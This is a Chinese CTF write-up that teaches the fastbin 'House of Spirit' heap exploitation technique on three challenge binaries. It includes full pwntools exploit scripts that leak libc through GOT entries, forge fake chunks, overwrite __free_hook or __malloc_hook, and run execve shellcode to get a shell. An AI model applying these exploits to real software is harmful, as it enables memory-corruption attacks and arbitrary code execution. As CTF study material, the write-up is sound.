一、原理分析: House of spirit思想:
这是fastbin的一种attack的方式,就是我们想要控制的区域是不可控的,但是我们能通过伪造fake_chunk来释放它再申请从而得到目标区域,但是有前提:
(1)获取目标区域地址(堆、栈、bss….)
(2)伪造堆块(找到那两个可控区域)
(3)有能覆盖堆指针的漏洞存在(覆盖堆指针为我们的目标区域地址)
(4)调用free函数将伪堆块释放到fastbin中
(5)申请堆块,将刚刚的伪堆块申请出来
(6)输入数据,即可修改目标区域的内容
(可以是改写ret地址或者任意地址写(free_hook–>system))
这里构造很重要一点:nextchunk的大小要>=2 size_z(0x10),fake_chunk的size要在fastbin的范围
二、实战 下面通过2道题演示下这种利用方式:
2、oreo
32位的程序,got表可改,没有pie,比较舒服
常规菜单题,先整理一波名字,然后gdb调试过程中写出结构体:
先看下malloc函数:
*(chunk+13)=v1就是将上一个堆块的description的地址存到自己这个堆块的末尾,我们叫它last_heap,然后就是输入name和description,这里有溢出,可以修改last_heap为任意值,表示能任意地址读~
下面是puts函数:
打印自己和*(i+13)内容,直接写个puts的got地址
gdb具体看下布局:
看到先写内容,然后再写名字,最后会在heap_addr+13*4处留下指向上一个堆块的description的指针,而puts打印时就是看这个去索引然后输出上一个块的description内容的(逆序输出),所以我们打名字时,直接覆盖这里为puts的got表地址,直接打印出真实地址来~
有了真实地址,下面就是怎么getshell问题了,那么怎么写呢?有写的地址吗?
继续看edit函数:
这是往bss中的0x804A2A8中的地址(0x804A2C0)中写入内容,有个写地址,那么猜想,如果这个地址改写成free_hook的话,那就完事了,但是怎么改这里呢?要想改这里,首选劫持!那么这里附近有没有可控区域来构造fake_chunk呢?
看下:
)
发现可控区域1是可以伪造size的,但是一个个地计数,又因为固定大小的chunk,所以fake_size也要一样,也就是0x41,这个好办,申请0x41次就好了。而可控区域2使我们可以直接输入的位置(0x804A2C0),在这里可以伪造next_chunk的size,绕过第三层的检测。
万事俱备,接着开始撸:
这里需要注意一点就是,free完会放到fastbin中,所以我们需要把description处的堆地址置为0,这样free时就不会一股脑全部进去了,而是只进去我们想让它进去的fake_chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 from pwn import *from libformatstr import FormatStrcontext.log_level = 'debug' context(arch='i386' , os='linux' ) local = 1 elf = ELF('./oreo' ) if local: p = process('./oreo' ) libc = elf.libc else : p = remote('116.85.48.105' ,5005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) def malloc (name,description) : sl('1' ) sl(name) sl(description) def puts () : sl('2' ) def free () : sl('3' ) def edit (notice) : sl('4' ) sl(notice) def printf () : sl('5' ) malloc('aaaa' ,'bbbb' ) puts_got = elf.got["puts" ] py = '' py += 'a' *27 + p32(puts_got) malloc(py,'kkkkkkkk' ) puts() ru("Description: " ) ru("Description: " ) puts_addr = u32(rc(4 )) print "puts_addr--->" + hex(puts_addr)libc_base = puts_addr - libc.symbols['puts' ] onegadget = libc_base + 0x5fbc6 system = libc_base + libc.symbols["system" ] binsh = libc_base + libc.search('/bin/sh\x00' ).next() free_hook = libc_base + libc.symbols["__free_hook" ] py = '' py += 'a' *27 + p32(0 ) for i in range(0x40 -2 ): malloc(py,'king' ) py = '' py += 'a' *27 + p32(0x804A2A8 ) malloc(py,'king' ) py = '' py += '\x00' *0x20 py += p32(0x40 ) + p32(0x71 ) edit(py) free() malloc('jjjj' ,p32(free_hook)) edit(p32(system)) malloc('/bin/sh\x00' ,'/bin/sh\x00' ) free() p.interactive()
2、下面来看一道迁移到栈的题目:
画面内容引起舒适
分析下,第一步写name,可以泄露ebp地址(去除0截断),第二步是写id,会存到距离ebp有0x10的位置
这里是第二次输入,给money,是在栈上,然后strcpy到堆地址:
可以看到,0x40字节真好可以覆盖掉堆地址,那么思路相当清晰:
1、id的区域就是可控区域2,而money的输入就是可控区域1,我们构造好fake_chunk就可以直接free掉了,然后再申请得到栈地址,接着栈溢出填写shellcode返回地址。
再申请时就可以得到了~然后可以写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from pwn import *from libformatstr import FormatStrcontext.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./pwn200' ) if local: p = process('./pwn200' ) libc = elf.libc else : p = remote('116.85.48.105' ,5005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05' sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) def malloc (size,content) : ru("your choice : " ) sl('1' ) ru("how long?" ) sl(str(size)) ru("give me more money : " ) sd(content) def free () : ru("your choice : " ) sl('2' ) def exit () : ru("your choice : " ) sl('3' ) bk(0x0000000000400A29 ) ru("who are u?" ) py = '' py += shellcode64 py = py.ljust(46 ,'a' ) py += 'kk' sd(py) ru('kk' ) stack = u64(rc(6 ).ljust(8 ,'\x00' )) print "stack--->" + hex(stack)fake_stack = stack - 0xb0 shellcode_addr = stack - 0x50 ru("give me your id ~~?" ) sl(str(0x50 )) ru("give me money~" ) py = '' py += p64(0 ) + p64(0x61 ) py = py.ljust(0x38 ,'\x00' ) py += p64(fake_stack) sd(py) free() py = '' py += 'a' *0x30 py += p64(0xdeadbeef ) py += p64(shellcode_addr) py = py.ljust(48 ,'\x00' ) malloc(0x50 ,py) exit() p.interactive()
构造好就直接打了,这题不难,所以综上来看就是之前总结的思路。
3、再来一题:
这题比较巧妙,结合的知识点还是不错的,下面来看看:
熟悉的菜单题,free函数有UAF漏洞,这里show函数被限制了,只有变量为0xDEADBEEFDEADBEEF才能输出,但是输入的name和info刚好在0x602090的上面和下面,很自然想到house of spirit去伪造堆块再申请出来,修改变量即可,但是由于没有堆地址覆盖,所以正常free掉这个fake_chunk是无法实现的,但是可以利用UAF漏洞,如果能实现double free的话,就可以写入FD指针,从而申请出来。
malloc的功能,能申请的堆块在fastbin以内(0x80),正常的输入content
这是666时,这里使用第4次时,会提示付出代价,但是跳过再次使用666,就可以无限次使用了,calloc的功能,申请0xA0的堆块,正常读入content,free有UAF漏洞。
好了,到这里程序就分析完了,接着就是漏洞利用思路:
1、double free的实现:
1 2 3 4 5 6 7 8 9 magic(2 ,'kkkk' ) magic(1 ,'aaaaaaaa' ) malloc(0x40 ,'ffff' ) magic(2 ,'gggg' ) malloc(0x60 ,'hhhh' ) malloc(0x60 ,'oooo' ) free() magic(2 ,'gggg' ) free()
解释下,先申请0xA0的堆块,后面0x40格挡,再free掉0xA0,malloc切割出0x60,这时,由于UAF,虽然ptr处的指针还是0xA0的堆块指针,但是size变成了0x60,我们再次malloc时,得到的是新的堆块,指针放到buf中,这样buf和ptr中都有0x60的堆块指针,121实现doublefree。
2、将fake_chunk写入FD,申请出来再改写变量,这里同时可以往0x602060的FD写入0x602060,伪造double free,这样就可以再次使用这个堆块了(类似ubuntu18下的tcache的dbfree)。
3、show出puts的got,得到真实地址,接着再申请得到0x602060,改写FD得到malloc_hook-0x23处的fake_chunk,申请出来改写malloc_hook为onegadget
4、由于show后关闭了输出,onegadget一直打不通,realloc调整偏移也是不行,这里师兄提示说dbfree触发malloc_printer,会调用malloc触发malloc_hook,于是才打通了
上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 from pwn import *context.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./easyheap' ) if local: p = process('./easyheap' ) libc = elf.libc else : p = remote('192.168.100.20' ,50001 ) libc = ELF('./libc-2.18.so' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) def malloc (size,content) : ru(">> " ) sl('1' ) ru("input the size" ) sl(str(size)) ru("please input your content" ) sd(content) def free () : ru(">> " ) sl('2' ) def show () : ru(">> " ) sl('3' ) def magic (choice,content) : ru(">> " ) sl('666' ) if choice==1 : ru("build or free?" ) sl(str(choice)) ru("please input your content" ) sd(content) else : ru("build or free?" ) sl(str(choice)) def malloc1 (size,content) : sl('1' ) sl(str(size)) sd(content) def free1 () : sl('2' ) def magic_calloc (content) : sl('666' ) sl('1' ) sl(content) def magic_free () : sl('666' ) sl('2' ) puts_got = elf.got["puts" ] ru("please input your username:" ) sl(p64(0 ) + p64(0x71 ) + p64(0x602060 )) ru("please input your info:" ) sl(p64(0 ) + p64(0x41 )) fake_chunk = 0x602060 magic(2 ,'kkkk' ) magic(2 ,'kkkk' ) magic(2 ,'kkkk' ) ru(">> " ) sl('666' ) magic(2 ,'kkkk' ) magic(1 ,'aaaaaaaa' ) malloc(0x40 ,'ffff' ) magic(2 ,'gggg' ) malloc(0x60 ,'hhhh' ) malloc(0x60 ,'oooo' ) free() magic(2 ,'gggg' ) free() malloc(0x60 ,p64(fake_chunk)) malloc(0x60 ,p64(fake_chunk)) malloc(0x60 ,p64(fake_chunk)) py = '' py += p64(0x602060 )*3 + p64(puts_got) + p64(0xDEADBEEFDEADBEEF ) malloc(0x60 ,py) show() libc_base = u64(rc(6 ).ljust(8 ,'\x00' )) - libc.sym["puts" ] print "libc_base--->" + hex(libc_base)onegadget = libc_base + 0xf1147 chunk = libc_base + libc.sym["__malloc_hook" ] - 0x23 realloc = libc_base + libc.sym["realloc" ] bk(0x000000000400AA2 ) ru("everything has a price" ) malloc1(0x60 ,p64(chunk)) malloc1(0x60 ,p64(chunk)) py = '' py += 'A' *11 + p64(onegadget) + p64(realloc+0x14 ) malloc1(0x60 ,py) sl('2' ) sl('2' ) p.interactive()
这道题主要是通过double free来实现将fake_chunk链接到我们的fastbin中,从而申请出来,实现没有free函数覆盖堆地址的house of spirit申请出非法区域。